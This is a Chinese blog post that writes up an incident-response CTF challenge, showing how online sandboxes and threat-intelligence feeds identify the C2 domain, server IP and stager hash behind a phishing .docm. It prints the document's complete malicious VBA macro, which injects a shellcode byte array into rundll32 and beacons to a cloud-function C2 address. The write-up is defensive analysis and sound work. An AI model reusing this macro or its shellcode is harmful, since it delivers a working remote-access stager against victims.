网络安全赛事中开源威胁情报的妙用

写在前面

近期参与了一场网络安全赛事，一些题目的解法涉及到开源网络威胁情报，遂对相关题目及涉及到的知识点进行分析。

什么是OSCTI

开源网络威胁情报 (Open-Source Cyber Threat Intelligence,OSCTI)是详细描述针对某个组织网络安全威胁的数据。OSCTI可以是结构化、半结构化及非结构化数据，如STIX 2.0标准的结构化威胁情报、以XML/JSON等数据形式体现的半结构化威胁情报以及论坛、博客中出现的非结构化威胁情报。

情报或威胁情报的定义是广泛的，任何对于目标的描述、关联信息均可被定义为情报。在本文中，重点讨论应急响应过程中的OSCTI以及与OSCTI相关的组件，即样本IoC、在线沙箱等。

场景重现

在近期某次应急响应赛事中，对一台被钓鱼攻击的PC机进行分析，显式提供.docm文件一份，为C2 Stager下载器；隐藏提供exe文件一份，为C2 Stager。由于在赛时忽略了查看隐藏文件，遂未发现C2 Stager，仅发现.docm文件。

Q1:攻击者C2 server IP地址是多少

Q2:攻击者落地C2样本md5值是多少

对于Q1，正常做法是使用tcpview/tcpdump/wireshark等工具查看主机网络连接，在受害主机运行样本时提交IP地址即可，或者将样本考出，于虚拟机中执行并观察网络连接状况。


图 tcpview查看网络连接示例

对于Q2，发现隐藏的C2样本后，直接使用certutil计算MD5值即可。

然而，每次运行样本时，样本所连接的IP地址都不一样，交了三四次都不对。同时，由于赛时并未发现C2样本，导致Q2无法作答。

巧用OSCTI解题

虽然没有C2样本，但是xxx.docm文件是有的，于是将其上传至在线沙箱进行解析。

微步云沙箱

赛时将xx.docm上传至微步沙箱尝试解析，使用默认配置 Windows10x64 bit可惜并未解析出网络行为,在字符串中并未发现相关特征

xxx.docm宏代码如下:

Private Type PROCESS_INFORMATIONhProcess As LonghThread As LongdwProcessId As LongdwThreadId As Long
End TypePrivate Type STARTUPINFOcb As LonglpReserved As StringlpDesktop As StringlpTitle As StringdwX As LongdwY As LongdwXSize As LongdwYSize As LongdwXCountChars As LongdwYCountChars As LongdwFillAttribute As LongdwFlags As LongwShowWindow As IntegercbReserved2 As IntegerlpReserved2 As LonghStdInput As LonghStdOutput As LonghStdError As Long
End Type#If VBA7 ThenPrivate Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtrPrivate Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtrPrivate Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtrPrivate Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#ElsePrivate Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPrivate Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPrivate Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As LongPrivate Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End IfSub Auto_Open()Dim myByte As Long, myArray As Variant, offset As LongDim pInfo As PROCESS_INFORMATIONDim sInfo As STARTUPINFODim sNull As StringDim sProc As String#If VBA7 ThenDim rwxpage As LongPtr, res As LongPtr
#ElseDim rwxpage As Long, res As Long
#End IfmyArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 80, 0, 0, 0, 83, 80, 104, 87, -119, -97, _
-58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 64, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, _
104, 45, 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, _
-43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, -117, -1, _
-1, -1, 47, 118, 117, 101, 46, 109, 105, 110, 46, 106, 115, 0, 32, -92, 15, 47, 7, -86, -96, -85, -104, -78, 103, -107, -127, -113, 32, 125, 78, -13, 91, -97, -24, -116, 63, 56, -109, 52, _
-74, 64, 65, -55, -73, 49, -43, -24, -99, -47, -104, 11, 12, -45, 79, 17, 35, 42, -127, -109, -8, -121, -10, 121, -47, -50, 104, 98, 59, -45, -81, -84, -10, 107, 103, -17, 67, -4, -6, 97, _
47, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 77, 97, 99, 105, 110, 116, 111, 115, 104, 59, 32, 73, 110, _
116, 101, 108, 32, 77, 97, 99, 32, 79, 83, 32, 88, 32, 49, 48, 46, 49, 53, 59, 32, 114, 118, 58, 56, 48, 46, 48, 41, 32, 71, 101, 99, 107, 111, 47, 50, 48, 49, 48, 48, _
49, 48, 49, 32, 70, 105, 114, 101, 102, 111, 120, 47, 56, 48, 46, 48, 13, 10, 0, 85, 119, -3, -8, -107, 40, -123, -125, -4, -119, -39, 94, 117, -84, -37, -67, -88, -119, 45, -56, -85, _
25, -83, -27, -32, 97, -31, -100, 57, 90, -66, -22, 23, -59, -108, -66, -89, 110, -55, 86, -91, -4, 115, 34, 71, -47, 72, 49, 20, 99, -119, 85, 14, -14, 71, 52, -73, -78, 64, -122, 20, _
-117, 59, -88, -19, 19, -76, -12, 25, -29, 28, -37, 87, 20, -22, -82, -14, -24, -10, -5, -115, -72, 58, -33, 109, 0, -100, -87, 108, -62, 123, 31, 32, -94, 49, -119, 83, -92, -25, 71, 52, _
-100, -39, 121, 28, 110, 5, -8, 31, -86, -51, 111, 74, 91, 96, -100, -15, -34, 90, 110, 43, -106, 54, 69, -89, 46, 121, -39, -16, -92, 76, -68, 13, -42, -86, 7, 45, 96, -72, 66, -51, _
-119, 82, -103, -112, -58, 62, -37, -106, 109, -45, 7, 90, -18, 80, 20, 81, 31, -128, 47, 22, -45, -96, 0, -125, 10, 120, 110, 71, -76, 109, -40, -103, -96, 69, -126, -76, -76, -112, -87, -86, _
-89, 100, -50, 20, 124, -36, 52, 118, -2, 44, 57, -124, 25, -64, -40, 2, -110, 15, -2, 28, 94, 125, -108, 117, -54, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, _
104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, _
-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 115, 101, 114, 118, 105, 99, 101, 45, 112, 115, 49, 54, 119, 104, 118, 116, 45, 49, 51, 48, 52, _
56, 48, 48, 50, 55, 49, 46, 115, 104, 46, 116, 101, 110, 99, 101, 110, 116, 97, 112, 105, 103, 119, 46, 99, 111, 109, 0, 73, -106, 2, -46)If Len(Environ("ProgramW6432")) > 0 ThensProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"ElsesProc = Environ("windir") & "\\System32\\rundll32.exe"End Ifres = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)For offset = LBound(myArray) To UBound(myArray)myByte = myArray(offset)res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)Next offsetres = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()Auto_Open
End Sub
Sub Workbook_Open()Auto_Open
End Sub

明显的，myArray变量存的数组应该是一个dll，用rundll32.exe加载并执行，可惜在还原dll的时候并没有正确还原，所以解这道题的大部分路目前为止都被堵上了。

VirusTotal

在上传微步无果后，将样本上传至VT，期待VT沙箱的behavior解析结果

在Behavior中，可以看到类似微步沙箱的结果，即网络连接、文件释放情况等。

可惜的是，在赛时并未解析出现有的URL地址，VT沙箱的解析时间非常久，在赛时所看到的内容如下：

在VT的relations中，可以看到与样本所关联的信息，主要为域名、IP地址等。

在赛时能看到的只有第一条记录http://service-ps16whvt-1304800271.sh.tencentapigw.com ，无法确认上图中URL即为回连地址。

ANY.RUN

在上述两个在线沙箱平台检测无果后，将.docm样本上传至any.run，使用默认配置win7x32bit进行检测。

在该平台正确的检测到了样本的下载与回连动作，如下图所示：

那么至此可以确定，在VT中出现的http://service-ps16whvt-1304800271.sh.tencentapigw.com 即为回连地址，使用腾讯云的云函数隐藏了真正的C2地址。

Q1:定位C2 Server

目前得到的IoC有

C2回连域名http://service-ps16whvt-1304800271.sh.tencentapigw.com

.docm样本hash值6ef475fdbe8052fe850923275247e5dafa08be83015bad755ccc421ae2ea73e8

直接搜索回连域名，在ThreatFox有相关记录：

详情中记录了社区用户解析并提交的C2 Server信息:

所以对于Q1，答案为122.51.7.163

Q2:确定样本MD5

根据IoC http://service-ps16whvt-1304800271.sh.tencentapigw.com在VT Relation中得到样本信息：

选中对应的样本 todesk.exe，点击DETAILS,查看样本MD5值。

所以样本MD5为a831de33265fe368d7c2a6892857a232

样本的首次提交时间为北京时间3.29号11.32分左右，所以这证明了该样本的首次上传并非赛时其他选手所为。

赛后思考

威胁情报部分

赛后重新在微步沙箱分析了XXX.docm文件，发现可以获取到云函数地址：

重新应用Win7x32bit沙箱，发现了向云函数网关的HTTP请求：

VB解混淆部分

对于XX.docm中的VB代码进行解混淆，十进制先转十六进制，或者十进制直接转ascii都OK，可以直接看到云函数地址

获得云函数地址后结合威胁情报就可以继续分析了。

参考

https://gist.github.com/magnusstubman/18397dfd4fc6d22892cd4ee183747ef7

https://kpmg.com/nl/en/home/ins

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/819546.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【力扣 Hot100 | 第二天】4.11 无重复字符的最长子串

【力扣 Hot100 | 第二天】4.11 无重复字符的最长子串

文章目录 2.无重复字符的最长子串2.1题目2.2解法一：滑动窗口2.2.1解题思路2.2.2代码实现 2.无重复字符的最长子串 2.1题目 给定一个字符串 s ，请你找出其中不含有重复字符的 最长子串 的长度。 示例一： 输入: s "abcabcbb" 输…
阅读更多...
从零开始写一个RTSP服务器（三）RTP传输H.264

从零开始写一个RTSP服务器（三）RTP传输H.264

目录 一、RTP封装1.1 RTP数据结构1.2 源码 二、H.264的RTP打包2.1 H.264格式2.2 H.264的RTP打包方式2.3 H.264 RTP包的时间戳计算2.4 源码 三、H.264 RTP打包的sdp描述四、测试 本篇文章目标，使用vlc打开sdp文件后，可以观看到视频数据 一、RTP封装 1.1 …
阅读更多...
2024 CKA 基础操作教程（十三）

2024 CKA 基础操作教程（十三）

题目内容 考点相关内容分析 日志架构 虽然 Kubernetes 没有为集群级日志记录提供原生的解决方案，但是提供了以下几种方式收集容器日志： 使用在每个节点上运行的节点级日志记录代理。 在每个节点上部署一个日志代理，该代理负责收集节点上所有…
阅读更多...
传奇 mir2韩国2005年原版代码

传奇 mir2韩国2005年原版代码

传奇 mir2韩国2005年原版代码 参考资料;传奇 mir2韩国2005年原版代码-感谢网虫大神分享_98999NET源码资源网
阅读更多...
批量重命名文件名，支持取原文件名中间文字来进行重命名，实现文件重命名自由

批量重命名文件名，支持取原文件名中间文字来进行重命名，实现文件重命名自由

在信息爆炸的时代，文件管理和命名显得尤为重要。你是否曾为文件命名而烦恼？是否曾经因为文件名过长、格式不统一、无法快速识别内容而浪费大量时间？今天，我要为大家介绍一款强大而灵活的批量文件重命名工具，它能够帮助…
阅读更多...
ardupilot开发 --- 视觉伺服基础理论 篇

ardupilot开发 --- 视觉伺服基础理论 篇

TOC 0.参考文献 https://zhuanlan.zhihu.com/p/422634446 基础
阅读更多...
JetBrains CLion 2024.1 发布 - C 和 C++ 跨平台 IDE

JetBrains CLion 2024.1 发布 - C 和 C++ 跨平台 IDE

JetBrains CLion 2024.1 发布 - C 和 C 跨平台 IDE 请访问原文链接：JetBrains CLion 2024.1 (macOS, Linux, Windows) - C 和 C 跨平台 IDE，查看最新版。原创作品，转载请保留出处。 作者主页：sysin.org JetBrains CLion - C 和 …
阅读更多...
[ROS 系列学习教程] 建模与仿真 - URDF 语法介绍

[ROS 系列学习教程] 建模与仿真 - URDF 语法介绍

ROS 系列学习教程(总目录) 本文目录 一、robot标签二、link标签三、joint标签 URDF文件中使用XML格式描述的机器人模型，下面介绍URDF的XML标签。 一、robot标签 机器人描述文件中的根元素必须是robot，所有其他元素必须封装在其中。 属性 name&#x…
阅读更多...
postman接口测试（入门到精通）

postman接口测试（入门到精通）

下载： postman官方地址 测试外部接口：测试被测系统和外部系统之间的接口。（只需要测试正例即可） 测试内部接口： 1.内部接口只提供给内部系统使用。（只需要测试正例即可） 2.内部接口提供给外…
阅读更多...
AI大模型探索之路-应用篇13：企业AI大模型选型指南

AI大模型探索之路-应用篇13：企业AI大模型选型指南

目录 前言 一、概述 二、有哪些主流模型？ 三、模型参数怎么选？ 四、参数有什么作用？ 五、CPU和GPU怎么选？ 六、GPU和显卡有什么关系？ 七、GPU主流厂商有哪些？ 1、NVIDIA芯片怎么选？ 2、…
阅读更多...
P8602蓝桥杯大臣找路

P8602蓝桥杯大臣找路

很久以前，T 王国空前繁荣。为了更好地管理国家，王国修建了大量的快速路，用于连接首都和王国内的各大城市。 为节省经费，T 国的大臣们经过思考，制定了一套优秀的修建方案，使得任何一个大城市都能从首都直接…
阅读更多...
政安晨：【深度学习神经网络基础】（八）—— 神经网络评估回归与模拟退火训练

政安晨：【深度学习神经网络基础】（八）—— 神经网络评估回归与模拟退火训练

目录 简述 评估回归 模拟退火训练 政安晨的个人主页：政安晨 欢迎 👍点赞✍评论⭐收藏 收录专栏: 政安晨的机器学习笔记 希望政安晨的博客能够对您有所裨益，如有不足之处，欢迎在评论区提出指正！ 简述 深度学习神经网…
阅读更多...
全排列问题

全排列问题

日升时奋斗，日落时自省 目录 1、全排列 2、全排列II 3、子集 4、组合 1、全排列 首先要了解全排列是怎么样的 例如:数组[1,2,3]的全排列（全排列就是不同顺序排列方式） 例子所有的排列方式如：[1,2,3],[1,3,2],[2,1,3],[2,3…
阅读更多...
大话设计模式之享元模式

大话设计模式之享元模式

享元模式是一种结构型设计模式，旨在有效地支持大量细粒度的对象共享，从而减少内存消耗和提高性能。 在享元模式中，对象分为两种：内部状态（Intrinsic State）和外部状态（Extrinsic State&#xf…
阅读更多...
初级软件测试常见问题

初级软件测试常见问题

1.JMeter （1）在http请求的时候，消息体数据中的数据需要用{}和“”标记起来，变量要用${}括起来。 （2）在响应断言的时候，要根据测试模式输出的内容来改变测试字段，假如输出错误可以把…
阅读更多...
vscode 调试debug gdb vector string等STL容器，指定长度

vscode 调试debug gdb vector string等STL容器，指定长度

主要展示2个调试信息： 1. 数组 *tr20，指tr数组的前20个元素 2.Vector *(int(*)[5])a ,指a容器前5个元素，也可以解决1的问题 二维数组 -exec p/d b也可以 附：命令参考 gdb 调试常用命令 - 红旗kernel - 博客园 (cnblogs.com) GD…
阅读更多...
书生·浦语大模型开源体系（五）笔记

书生·浦语大模型开源体系（五）笔记

💗💗💗欢迎来到我的博客，你将找到有关如何使用技术解决问题的文章，也会找到某个技术的学习路线。无论你是何种职业，我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章，也欢…
阅读更多...
定时器、PWM定时器、UART串口通信

定时器、PWM定时器、UART串口通信

我要成为嵌入式高手之4月15日ARM第八天！！ ———————————————————————————— 定时器 S3C2440A 有 5 个 16 位定时器。其中定时器 0、1、2 和 3 具有脉宽调制（PWM）功能。定时器 4 是一个无 输出引脚的内部…
阅读更多...
部署项目的时候的一些错误

部署项目的时候的一些错误

项目打jar包&#xff0c;找不到资源&#xff0c;连接不上数据库 项目打包后无法运行 直接在idea运行可以 解决方法&#xff1a;pom文件中增加&#xff08;配置文件如果是yml&#xff0c;写yml&#xff09; <resources><resource><directory>src/main/java&…
阅读更多...
MySQL—MySQL架构

MySQL—MySQL架构

MySQL—MySQL架构 MySQL逻辑架构图如下&#xff1a; Connectors连接器:负责跟客户端建立连接&#xff1b;Management Serveices & Utilities系统管理和控制工具&#xff1b;Connection Pool连接池:管理用户连接&#xff0c;监听并接收连接的请求&#xff0c;转发所有连接的…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站